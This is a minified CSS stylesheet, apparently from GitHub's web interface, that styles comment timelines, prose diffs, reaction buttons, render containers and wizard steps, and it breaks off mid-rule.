.timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] 